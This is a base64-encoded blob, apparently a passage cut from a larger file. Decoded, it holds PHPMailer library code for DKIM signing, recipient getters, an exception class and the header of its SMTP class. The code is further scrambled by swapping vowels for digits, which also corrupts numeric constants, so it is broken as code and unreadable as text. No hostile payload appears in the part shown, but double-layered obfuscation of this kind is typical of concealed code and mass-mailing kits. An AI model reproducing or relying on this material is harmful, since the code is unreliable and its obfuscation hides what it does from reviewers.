SA9ICRwMXRoNG5mMls2XTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmICgxcnIxeV9rNXlfNXg0c3RzKGEsICRwMXRoNG5mMikpIHsNCiAgICAgICAgICAgICAgICAkcjV0WydiMXM1bjFtNSddID0gJHAxdGg0bmYyW2FdOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYgKDFycjF5X2s1eV81eDRzdHMoaSwgJHAxdGg0bmYyKSkgew0KICAgICAgICAgICAgICAgICRyNXRbJzV4dDVuczQybiddID0gJHAxdGg0bmYyW2ldOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYgKDFycjF5X2s1eV81eDRzdHMobywgJHAxdGg0bmYyKSkgew0KICAgICAgICAgICAgICAgICRyNXRbJ2Y0bDVuMW01J10gPSAkcDF0aDRuZjJbb107DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgc3c0dGNoICgkMnB0NDJucykgew0KICAgICAgICAgICAgYzFzNSBQQVRISU5GT19ESVJOQU1FOg0KICAgICAgICAgICAgYzFzNSAnZDRybjFtNSc6DQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXRbJ2Q0cm4xbTUnXTsNCiAgICAgICAgICAgIGMxczUgUEFUSElORk9fQkFTRU5BTUU6DQogICAgICAgICAgICBjMXM1ICdiMXM1bjFtNSc6DQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXRbJ2IxczVuMW01J107DQogICAgICAgICAgICBjMXM1IFBBVEhJTkZPX0VYVEVOU0lPTjoNCiAgICAgICAgICAgIGMxczUgJzV4dDVuczQybic6DQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXRbJzV4dDVuczQybiddOw0KICAgICAgICAgICAgYzFzNSBQQVRISU5GT19GSUxFTkFNRToNCiAgICAgICAgICAgIGMxczUgJ2Y0bDVuMW01JzoNCiAgICAgICAgICAgICAgICByNXQzcm4gJHI1dFsnZjRsNW4xbTUnXTsNCiAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXQ7DQogICAgICAgIH0NCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIHM1dCgkbjFtNSwgJHYxbDM1ID0gJycpDQogICAgew0KICAgICAgICA0ZiAocHIycDVydHlfNXg0c3RzKCR0aDRzLCAkbjFtNSkpIHsNCiAgICAgICAgICAgICR0aDRzLT4kbjFtNSA9ICR2MWwzNTsNCiAgICAgICAgICAgIHI1dDNybiB0cjM1Ow0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCR0aDRzLT5sMW5nKCd2MXI0MWJsNV9zNXQnKSAuICRuMW01KTsNCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gczVjM3I1SDUxZDVyKCRzdHIpDQogICAgew0KICAgICAgICByNXQzcm4gdHI0bShzdHJfcjVwbDFjNSgxcnIxeSgiXHIiLCAiXG4iKSwgJycsICRzdHIpKTsNCiAgICB9DQogICAgcDNibDRjIHN0MXQ0YyBmM25jdDQybiBuMnJtMWw0ejVCcjUxa3MoJHQ1eHQsICRicjUxa3R5cDUgPSAiXHJcbiIpDQogICAgew0KICAgICAgICByNXQzcm4gcHI1Z19yNXBsMWM1KCcvKFxyXG58XHJ8XG4pL21zJywgJGJyNTFrdHlwNSwgJHQ1eHQpOw0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gczRnbigkYzVydF9mNGw1bjFtNSwgJGs1eV9mNGw1bjFtNSwgJGs1eV9wMXNzLCAkNXh0cjFjNXJ0c19mNGw1bjFtNSA9ICcnKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPnM0Z25fYzVydF9mNGw1ID0gJGM1cnRfZjRsNW4xbTU7DQogICAgICAgICR0aDRzLT5zNGduX2s1eV9mNGw1ID0gJGs1eV9mNGw1bjFtNTsNCiAgICAgICAgJHRoNHMtPnM0Z25fazV5X3Axc3MgPSAkazV5X3Axc3M7DQogICAgICAgICR0aDRzLT5zNGduXzV4dHIxYzVydHNfZjRsNSA9ICQ1eHRyMWM1cnRzX2Y0bDVuMW01Ow0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gREtJTV9RUCgkdHh0KQ0KICAgIHsNCiAgICAgICAgJGw0bjUgPSAnJzsNCiAgICAgICAgZjJyICgkNCA9IDA7ICQ0IDwgc3RybDVuKCR0eHQpOyAkNCsrKSB7DQogICAgICAgICAgICAkMnJkID0gMnJkKCR0eHRbJDRdKTsNCiAgICAgICAgICAgIDRmICgoKDB4YTYgPD0gJDJyZCkgJiYgKCQycmQgPD0gMHhvQSkpIHx8ICQycmQgPT0gMHhvQyB8fCAoKDB4b0UgPD0gJDJyZCkgJiYgKCQycmQgPD0gMHg3RSkpKSB7DQogICAgICAgICAgICAgICAgJGw0bjUgLj0gJHR4dFskNF07DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICRsNG41IC49ICc9JyAuIHNwcjRudGYoJyUwYVgnLCAkMnJkKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJGw0bjU7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiBES0lNX1M0Z24oJHM0Z25INTFkNXIpDQogICAgew0KICAgICAgICA0ZiAoIWQ1ZjRuNWQoJ1BLQ1M3X1RFWFQnKSkgew0KICAgICAgICAgICAgNGYgKCR0aDRzLT41eGM1cHQ0Mm5zKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkdGg0cy0+bDFuZygnNXh0NW5zNDJuX200c3M0bmcnKSAuICcycDVuc3NsJyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gJyc7DQogICAgICAgIH0NCiAgICAgICAgJHByNHZLNXlTdHIgPSAhNW1wdHkoJHRoNHMtPkRLSU1fcHI0djF0NV9zdHI0bmcpID8gJHRoNHMtPkRLSU1fcHI0djF0NV9zdHI0bmcgOiBmNGw1X2c1dF9jMm50NW50cygkdGg0cy0+REtJTV9wcjR2MXQ1KTsNCiAgICAgICAgNGYgKCcnICE9ICR0aDRzLT5ES0lNX3Axc3NwaHIxczUpIHsNCiAgICAgICAgICAgICRwcjR2SzV5ID0gMnA1bnNzbF9wazV5X2c1dF9wcjR2MXQ1KCRwcjR2SzV5U3RyLCAkdGg0cy0+REtJTV9wMXNzcGhyMXM1KTsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICRwcjR2SzV5ID0gMnA1bnNzbF9wazV5X2c1dF9wcjR2MXQ1KCRwcjR2SzV5U3RyKTsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAodjVyczQybl9jMm1wMXI1KFBIUF9WRVJTSU9OLCAnaS5vLjAnKSA+PSAwIDFuZA0KICAgICAgICAgICAgNG5fMXJyMXkoJ3NoMWFpZVc0dGhSU0FFbmNyeXB0NDJuJywgMnA1bnNzbF9nNXRfbWRfbTV0aDJkcyh0cjM1KSkpIHsNCiAgICAgICAgICAgIDRmICgycDVuc3NsX3M0Z24oJHM0Z25INTFkNXIsICRzNGduMXQzcjUsICRwcjR2SzV5LCAnc2gxYWllVzR0aFJTQUVuY3J5cHQ0Mm4nKSkgew0KICAgICAgICAgICAgICAgIDJwNW5zc2xfcGs1eV9mcjU1KCRwcjR2SzV5KTsNCiAgICAgICAgICAgICAgICByNXQzcm4gYjFzNWV1XzVuYzJkNSgkczRnbjF0M3I1KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICRwNG5mMiA9IDJwNW5zc2xfcGs1eV9nNXRfZDV0MTRscygkcHI0dks1eSk7DQogICAgICAgICAgICAkaDFzaCA9IGgxc2goJ3NoMWFpZScsICRzNGduSDUxZDVyKTsNCiAgICAgICAgICAgICR0ID0gJ28wbzZvMDBkMGUwOWUwOGV1ODA2ZWkwbzB1MGEwNjBpMDAwdWEwJyAuICRoMXNoOw0KICAgICAgICAgICAgJHBzbDVuID0gJHA0bmYyWydiNHRzJ10gLyA4IC0gKHN0cmw1bigkdCkgLyBhICsgbyk7DQogICAgICAgICAgICAkNWIgPSBwMWNrKCdIKicsICcwMDA2JyAuIHN0cl9yNXA1MXQoJ0ZGJywgJHBzbDVuKSAuICcwMCcgLiAkdCk7DQoNCiAgICAgICAgICAgIDRmICgycDVuc3NsX3ByNHYxdDVfNW5jcnlwdCgkNWIsICRzNGduMXQzcjUsICRwcjR2SzV5LCBPUEVOU1NMX05PX1BBRERJTkcpKSB7DQogICAgICAgICAgICAgICAgMnA1bnNzbF9wazV5X2ZyNTUoJHByNHZLNXkpOw0KICAgICAgICAgICAgICAgIHI1dDNybiBiMXM1ZXVfNW5jMmQ1KCRzNGduMXQzcjUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIDJwNW5zc2xfcGs1eV9mcjU1KCRwcjR2SzV5KTsNCiAgICAgICAgcjV0M3JuICcnOw0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gREtJTV9INTFkNXJDKCRzNGduSDUxZDVyKQ0KICAgIHsNCiAgICAgICAgJHM0Z25INTFkNXIgPSBwcjVnX3I1cGwxYzUoJy9cclxuXHMrLycsICcgJywgJHM0Z25INTFkNXIpOw0KICAgICAgICAkbDRuNXMgPSA1eHBsMmQ1KCJcclxuIiwgJHM0Z25INTFkNXIpOw0KICAgICAgICBmMnI1MWNoICgkbDRuNXMgMXMgJGs1eSA9PiAkbDRuNSkgew0KICAgICAgICAgICAgbDRzdCgkaDUxZDRuZywgJHYxbDM1KSA9IDV4cGwyZDUoJzonLCAkbDRuNSwgYSk7DQogICAgICAgICAgICAkaDUxZDRuZyA9IHN0cnQybDJ3NXIoJGg1MWQ0bmcpOw0KICAgICAgICAgICAgJHYxbDM1ID0gcHI1Z19yNXBsMWM1KCcvXHN7YSx9LycsICcgJywgJHYxbDM1KTsgLy8gQzJtcHI1c3MgM3M1bDVzcyBzcDFjNXMNCiAgICAgICAgICAgICRsNG41c1skazV5XSA9ICRoNTFkNG5nIC4gJzonIC4gdHI0bSgkdjFsMzUpOyAvLyBEMm4ndCBmMnJnNXQgdDIgcjVtMnY1IFdTUCAxcjIzbmQgdGg1IHYxbDM1DQogICAgICAgIH0NCiAgICAgICAgJHM0Z25INTFkNXIgPSA0bXBsMmQ1KCJcclxuIiwgJGw0bjVzKTsNCiAgICAgICAgcjV0M3JuICRzNGduSDUxZDVyOw0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gREtJTV9CMmR5QygkYjJkeSkNCiAgICB7DQogICAgICAgIDRmICgkYjJkeSA9PSAnJykgew0KICAgICAgICAgICAgcjV0M3JuICJcclxuIjsNCiAgICAgICAgfQ0KICAgICAgICAkYjJkeSA9IHN0cl9yNXBsMWM1KCJcclxuIiwgIlxuIiwgJGIyZHkpOw0KICAgICAgICAkYjJkeSA9IHN0cl9yNXBsMWM1KCJcbiIsICJcclxuIiwgJGIyZHkpOw0KICAgICAgICB3aDRsNSAoczNic3RyKCRiMmR5LCBzdHJsNW4oJGIyZHkpIC0gdSwgdSkgPT0gIlxyXG5cclxuIikgew0KICAgICAgICAgICAgJGIyZHkgPSBzM2JzdHIoJGIyZHksIDAsIHN0cmw1bigkYjJkeSkgLSBhKTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJGIyZHk7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiBES0lNX0FkZCgkaDUxZDVyc19sNG41LCAkczNiajVjdCwgJGIyZHkpDQogICAgew0KICAgICAgICAkREtJTXM0Z24xdDNyNVR5cDUgPSAncnMxLXNoMWFpZSc7IC8vIFM0Z24xdDNyNSAmIGgxc2ggMWxnMnI0dGhtcw0KICAgICAgICAkREtJTWMxbjJuNGMxbDR6MXQ0Mm4gPSAncjVsMXg1ZC9zNG1wbDUnOyAvLyBDMW4ybjRjMWw0ejF0NDJuIDJmIGg1MWQ1ci9iMmR5DQogICAgICAgICRES0lNcTM1cnkgPSAnZG5zL3R4dCc7IC8vIFEzNXJ5IG01dGgyZA0KICAgICAgICAkREtJTXQ0bTUgPSB0NG01KCk7IC8vIFM0Z24xdDNyNSBUNG01c3QxbXAgPSBzNWMybmRzIHM0bmM1IDAwOjAwOjAwIC0gSjFuIDYsIDY5NzAgKFVUQyB0NG01IHoybjUpDQogICAgICAgICRzM2JqNWN0X2g1MWQ1ciA9ICJTM2JqNWN0OiAkczNiajVjdCI7DQogICAgICAgICRoNTFkNXJzID0gNXhwbDJkNSgkdGg0cy0+TEUsICRoNTFkNXJzX2w0bjUpOw0KICAgICAgICAkZnIybV9oNTFkNXIgPSAnJzsNCiAgICAgICAgJHQyX2g1MWQ1ciA9ICcnOw0KICAgICAgICAkZDF0NV9oNTFkNXIgPSAnJzsNCiAgICAgICAgJGMzcnI1bnQgPSAnJzsNCiAgICAgICAgZjJyNTFjaCAoJGg1MWQ1cnMgMXMgJGg1MWQ1cikgew0KICAgICAgICAgICAgNGYgKHN0cnAycygkaDUxZDVyLCAnRnIybTonKSA9PT0gMCkgew0KICAgICAgICAgICAgICAgICRmcjJtX2g1MWQ1ciA9ICRoNTFkNXI7DQogICAgICAgICAgICAgICAgJGMzcnI1bnQgPSAnZnIybV9oNTFkNXInOw0KICAgICAgICAgICAgfSA1bHM1NGYgKHN0cnAycygkaDUxZDVyLCAnVDI6JykgPT09IDApIHsNCiAgICAgICAgICAgICAgICAkdDJfaDUxZDVyID0gJGg1MWQ1cjsNCiAgICAgICAgICAgICAgICAkYzNycjVudCA9ICd0Ml9oNTFkNXInOw0KICAgICAgICAgICAgfSA1bHM1NGYgKHN0cnAycygkaDUxZDVyLCAnRDF0NTonKSA9PT0gMCkgew0KICAgICAgICAgICAgICAgICRkMXQ1X2g1MWQ1ciA9ICRoNTFkNXI7DQogICAgICAgICAgICAgICAgJGMzcnI1bnQgPSAnZDF0NV9oNTFkNXInOw0KICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICA0ZiAoITVtcHR5KCQkYzNycjVudCkgJiYgc3RycDJzKCRoNTFkNXIsICcgPT8nKSA9PT0gMCkgew0KICAgICAgICAgICAgICAgICAgICAkJGMzcnI1bnQgLj0gJGg1MWQ1cjsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkYzNycjVudCA9ICcnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkZnIybSA9IHN0cl9yNXBsMWM1KCd8JywgJz03QycsICR0aDRzLT5ES0lNX1FQKCRmcjJtX2g1MWQ1cikpOw0KICAgICAgICAkdDIgPSBzdHJfcjVwbDFjNSgnfCcsICc9N0MnLCAkdGg0cy0+REtJTV9RUCgkdDJfaDUxZDVyKSk7DQogICAgICAgICRkMXQ1ID0gc3RyX3I1cGwxYzUoJ3wnLCAnPTdDJywgJHRoNHMtPkRLSU1fUVAoJGQxdDVfaDUxZDVyKSk7DQogICAgICAgICRzM2JqNWN0ID0gc3RyX3I1cGwxYzUoDQogICAgICAgICAgICAnfCcsDQogICAgICAgICAgICAnPTdDJywNCiAgICAgICAgICAgICR0aDRzLT5ES0lNX1FQKCRzM2JqNWN0X2g1MWQ1cikNCiAgICAgICAgKTsgLy8gQzJwNDVkIGg1MWQ1ciBmNDVsZHMgKGRrNG0tcTMydDVkLXByNG50MWJsNSkNCiAgICAgICAgJGIyZHkgPSAkdGg0cy0+REtJTV9CMmR5QygkYjJkeSk7DQogICAgICAgICRES0lNbDVuID0gc3RybDVuKCRiMmR5KTsgLy8gTDVuZ3RoIDJmIGIyZHkNCiAgICAgICAgJERLSU1iZXUgPSBiMXM1ZXVfNW5jMmQ1KHAxY2soJ0gqJywgaDFzaCgnc2gxYWllJywgJGIyZHkpKSk7IC8vIEIxczVldSAyZiBwMWNrNWQgYjRuMXJ5IFNIQS1haWUgaDFzaCAyZiBiMmR5DQogICAgICAgIDRmICgnJyA9PSAkdGg0cy0+REtJTV80ZDVudDR0eSkgew0KICAgICAgICAgICAgJDRkNW50ID0gJyc7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkNGQ1bnQgPSAnIDQ9JyAuICR0aDRzLT5ES0lNXzRkNW50NHR5IC4gJzsnOw0KICAgICAgICB9DQogICAgICAgICRkazRtaGRycyA9ICdES0lNLVM0Z24xdDNyNTogdj02OyAxPScgLg0KICAgICAgICAgICAgJERLSU1zNGduMXQzcjVUeXA1IC4gJzsgcT0nIC4NCiAgICAgICAgICAgICRES0lNcTM1cnkgLiAnOyBsPScgLg0KICAgICAgICAgICAgJERLSU1sNW4gLiAnOyBzPScgLg0KICAgICAgICAgICAgJHRoNHMtPkRLSU1fczVsNWN0MnIgLg0KICAgICAgICAgICAgIjtcclxuIiAuDQogICAgICAgICAgICAiXHR0PSIgLiAkREtJTXQ0bTUgLiAnOyBjPScgLiAkREtJTWMxbjJuNGMxbDR6MXQ0Mm4gLiAiO1xyXG4iIC4NCiAgICAgICAgICAgICJcdGg9RnIybTpUMjpEMXQ1OlMzYmo1Y3Q7XHJcbiIgLg0KICAgICAgICAgICAgIlx0ZD0iIC4gJHRoNHMtPkRLSU1fZDJtMTRuIC4gJzsnIC4gJDRkNW50IC4gIlxyXG4iIC4NCiAgICAgICAgICAgICJcdHo9JGZyMm1cclxuIiAuDQogICAgICAgICAgICAiXHR8JHQyXHJcbiIgLg0KICAgICAgICAgICAgIlx0fCRkMXQ1XHJcbiIgLg0KICAgICAgICAgICAgIlx0fCRzM2JqNWN0O1xyXG4iIC4NCiAgICAgICAgICAgICJcdGJoPSIgLiAkREtJTWJldSAuICI7XHJcbiIgLg0KICAgICAgICAgICAgIlx0Yj0iOw0KICAgICAgICAkdDJTNGduID0gJHRoNHMtPkRLSU1fSDUxZDVyQygNCiAgICAgICAgICAgICRmcjJtX2g1MWQ1ciAuICJcclxuIiAuDQogICAgICAgICAgICAkdDJfaDUxZDVyIC4gIlxyXG4iIC4NCiAgICAgICAgICAgICRkMXQ1X2g1MWQ1ciAuICJcclxuIiAuDQogICAgICAgICAgICAkczNiajVjdF9oNTFkNXIgLiAiXHJcbiIgLg0KICAgICAgICAgICAgJGRrNG1oZHJzDQogICAgICAgICk7DQogICAgICAgICRzNGduNWQgPSAkdGg0cy0+REtJTV9TNGduKCR0MlM0Z24pOw0KICAgICAgICByNXQzcm4gJGRrNG1oZHJzIC4gJHM0Z241ZCAuICJcclxuIjsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBENXQ1Y3QgNGYgMSBzdHI0bmcgYzJudDE0bnMgMSBsNG41IGwybmc1ciB0aDFuIHRoNSBtMXg0bTNtIGw0bjUgbDVuZ3RoIDFsbDJ3NWQuDQogICAgICogQHAxcjFtIHN0cjRuZyAkc3RyDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICogQHN0MXQ0Yw0KICAgICAqLw0KICAgIHAzYmw0YyBzdDF0NGMgZjNuY3Q0Mm4gaDFzTDRuNUwybmc1clRoMW5NMXgoJHN0cikNCiAgICB7DQogICAgICAgIC8vK2EgdDIgNG5jbDNkNSBDUkxGIGw0bjUgYnI1MWsgZjJyIDEgNjAwMCB0MnQxbA0KICAgICAgICByNXQzcm4gKGIyMmw1MW4pcHI1Z19tMXRjaCgnL14oLnsnLihzNWxmOjpNQVhfTElORV9MRU5HVEggKyBhKS4nLH0pL20nLCAkc3RyKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBbGwyd3MgZjJyIHAzYmw0YyByNTFkIDFjYzVzcyB0MiAndDInIHByMnA1cnR5Lg0KICAgICAqIEBuMnQ1OiBCNWYycjUgdGg1IHM1bmQoKSBjMWxsLCBxMzUzNWQgMWRkcjVzczVzICg0LjUuIHc0dGggSUROKSAxcjUgbjJ0IHk1dCA0bmNsM2Q1ZC4NCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gMXJyMXkNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0VDJBZGRyNXNzNXMoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT50MjsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBbGwyd3MgZjJyIHAzYmw0YyByNTFkIDFjYzVzcyB0MiAnY2MnIHByMnA1cnR5Lg0KICAgICAqIEBuMnQ1OiBCNWYycjUgdGg1IHM1bmQoKSBjMWxsLCBxMzUzNWQgMWRkcjVzczVzICg0LjUuIHc0dGggSUROKSAxcjUgbjJ0IHk1dCA0bmNsM2Q1ZC4NCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gMXJyMXkNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0Q2NBZGRyNXNzNXMoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5jYzsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBbGwyd3MgZjJyIHAzYmw0YyByNTFkIDFjYzVzcyB0MiAnYmNjJyBwcjJwNXJ0eS4NCiAgICAgKiBAbjJ0NTogQjVmMnI1IHRoNSBzNW5kKCkgYzFsbCwgcTM1MzVkIDFkZHI1c3M1cyAoNC41LiB3NHRoIElETikgMXI1IG4ydCB5NXQgNG5jbDNkNWQuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIDFycjF5DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dEJjY0FkZHI1c3M1cygpDQogICAgew0KICAgICAgICByNXQzcm4gJHRoNHMtPmJjYzsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBbGwyd3MgZjJyIHAzYmw0YyByNTFkIDFjYzVzcyB0MiAnUjVwbHlUMicgcHIycDVydHkuDQogICAgICogQG4ydDU6IEI1ZjJyNSB0aDUgczVuZCgpIGMxbGwsIHEzNTM1ZCAxZGRyNXNzNXMgKDQuNS4gdzR0aCBJRE4pIDFyNSBuMnQgeTV0IDRuY2wzZDVkLg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiAxcnIxeQ0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRSNXBseVQyQWRkcjVzczVzKCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+UjVwbHlUMjsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBbGwyd3MgZjJyIHAzYmw0YyByNTFkIDFjYzVzcyB0MiAnMWxsX3I1YzRwNDVudHMnIHByMnA1cnR5Lg0KICAgICAqIEBuMnQ1OiBCNWYycjUgdGg1IHM1bmQoKSBjMWxsLCBxMzUzNWQgMWRkcjVzczVzICg0LjUuIHc0dGggSUROKSAxcjUgbjJ0IHk1dCA0bmNsM2Q1ZC4NCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gMXJyMXkNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0QWxsUjVjNHA0NW50QWRkcjVzczVzKCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+MWxsX3I1YzRwNDVudHM7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUDVyZjJybSAxIGMxbGxiMWNrLg0KICAgICAqIEBwMXIxbSBiMjJsNTFuICQ0c1M1bnQNCiAgICAgKiBAcDFyMW0gMXJyMXkgJHQyDQogICAgICogQHAxcjFtIDFycjF5ICRjYw0KICAgICAqIEBwMXIxbSAxcnIxeSAkYmNjDQogICAgICogQHAxcjFtIHN0cjRuZyAkczNiajVjdA0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGIyZHkNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRmcjJtDQogICAgICovDQogICAgcHIydDVjdDVkIGYzbmN0NDJuIGQyQzFsbGIxY2soJDRzUzVudCwgJHQyLCAkY2MsICRiY2MsICRzM2JqNWN0LCAkYjJkeSwgJGZyMm0pDQogICAgew0KICAgICAgICA0ZiAoITVtcHR5KCR0aDRzLT4xY3Q0Mm5fZjNuY3Q0Mm4pICYmIDRzX2MxbGwxYmw1KCR0aDRzLT4xY3Q0Mm5fZjNuY3Q0Mm4pKSB7DQogICAgICAgICAgICAkcDFyMW1zID0gMXJyMXkoJDRzUzVudCwgJHQyLCAkY2MsICRiY2MsICRzM2JqNWN0LCAkYjJkeSwgJGZyMm0pOw0KICAgICAgICAgICAgYzFsbF8zczVyX2YzbmNfMXJyMXkoJHRoNHMtPjFjdDQybl9mM25jdDQybiwgJHAxcjFtcyk7DQogICAgICAgIH0NCiAgICB9DQp9DQoNCi8qKg0KICogUEhQTTE0bDVyIDV4YzVwdDQybiBoMW5kbDVyDQogKiBAcDFjazFnNSBQSFBNMTRsNXINCiAqLw0KY2wxc3MgcGhwbTE0bDVyRXhjNXB0NDJuIDV4dDVuZHMgRXhjNXB0NDJuDQp7DQogICAgLyoqDQogICAgICogUHI1dHQ0ZnkgNXJyMnIgbTVzczFnNSAyM3RwM3QNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiA1cnIyck01c3MxZzUoKQ0KICAgIHsNCiAgICAgICAgJDVycjJyTXNnID0gJzxzdHIybmc+JyAuICR0aDRzLT5nNXRNNXNzMWc1KCkgLiAiPC9zdHIybmc+PGJyIC8+XG4iOw0KICAgICAgICByNXQzcm4gJDVycjJyTXNnOw0KICAgIH0NCn0NCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KLy9QSFBNQUlMRVINCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KDQovKioNCiAqIFBIUE0xNGw1ciBSRkM4YTYgU01UUCA1bTE0bCB0cjFuc3AycnQgY2wxc3MuDQogKiBQSFAgVjVyczQybiBpDQogKiBAcDFjazFnNSBQSFBNMTRsNXINCiAqIEBsNG5rIGh0dHBzOi8vZzR0aDNiLmMybS9QSFBNMTRsNXIvUEhQTTE0bDVyLyBUaDUgUEhQTTE0bDVyIEc0dEgzYiBwcjJqNWN0DQogKiBAMTN0aDJyIE0xcmMzcyBCMjRudDJuIChTeW5jaHIyL2MyMmxicjMpIDxwaHBtMTRsNXJAc3luY2hyMm01ZDQxLmMyLjNrPg0KICogQDEzdGgyciBKNG0gSjFnNDVsc2s0IChqNG1qMWcpIDxqNG1qMWdAZ20xNGwuYzJtPg0KICogQDEzdGgyciBBbmR5IFByNXYyc3QgKGMyZDV3MnJ4dDVjaCkgPGMyZDV3MnJ4dDVjaEAzczVycy5zMjNyYzVmMnJnNS5uNXQ+DQogKiBAMTN0aDJyIEJyNW50IFIuIE0xdHo1bGw1ICgycjRnNG4xbCBmMjNuZDVyKQ0KICogQGMycHlyNGdodCBhMDZ1IE0xcmMzcyBCMjRudDJuDQogKiBAYzJweXI0Z2h0IGEwNjAgLSBhMDZhIEo0bSBKMWc0NWxzazQNCiAqIEBjMnB5cjRnaHQgYTAwdSAtIGEwMDkgQW5keSBQcjV2MnN0DQogKiBAbDRjNW5zNSBodHRwOi8vd3d3LmduMy4ycmcvYzJweWw1ZnQvbDVzczVyLmh0bWwgR05VIEw1c3M1ciBHNW41cjFsIFAzYmw0YyBMNGM1bnM1DQogKiBAbjJ0NSBUaDRzIHByMmdyMW0gNHMgZDRzdHI0YjN0NWQgNG4gdGg1IGgycDUgdGgxdCA0dCB3NGxsIGI1IDNzNWYzbCAtIFdJVEhPVVQNCiAqIEFOWSBXQVJSQU5UWTsgdzR0aDIzdCA1djVuIHRoNSA0bXBsNDVkIHcxcnIxbnR5IDJmIE1FUkNIQU5UQUJJTElUWSAycg0KICogRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuDQogKi8NCg0KLyoqDQogKiBQSFBNMTRsNXIgUkZDOGE2IFNNVFAgNW0xNGwgdHIxbnNwMnJ0IGNsMXNzLg0KICogSW1wbDVtNW50cyBSRkMgOGE2IFNNVFAgYzJtbTFuZHMgMW5kIHByMnY0ZDVzIHMybTUgM3Q0bDR0eSBtNXRoMmRzIGYyciBzNW5kNG5nIG0xNGwgdDIgMW4gU01UUCBzNXJ2NXIuDQogKiBAcDFjazFnNSBQSFBNMTRsNXINCiAqIEAxM3RoMnIgQ2hyNHMgUnkxbg0KICogQDEzdGgyciBNMXJjM3MgQjI0bnQybiA8cGhwbTE0bDVyQHN5bmNocjJtNWQ0MS5jMi4zaz4NCiAqLw0KY2wxc3MgU01UUA0Kew0KICAgIC8qKg0KICAgICAqIFRoNSBQSFBNMTRsNXIgU01UUCB2NXJzNDJuIG4zbWI1ci4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIGMybnN0IFZFUlNJT04gPSAnaS5hLmFvJzsNCg0KICAgIC8qKg0KICAg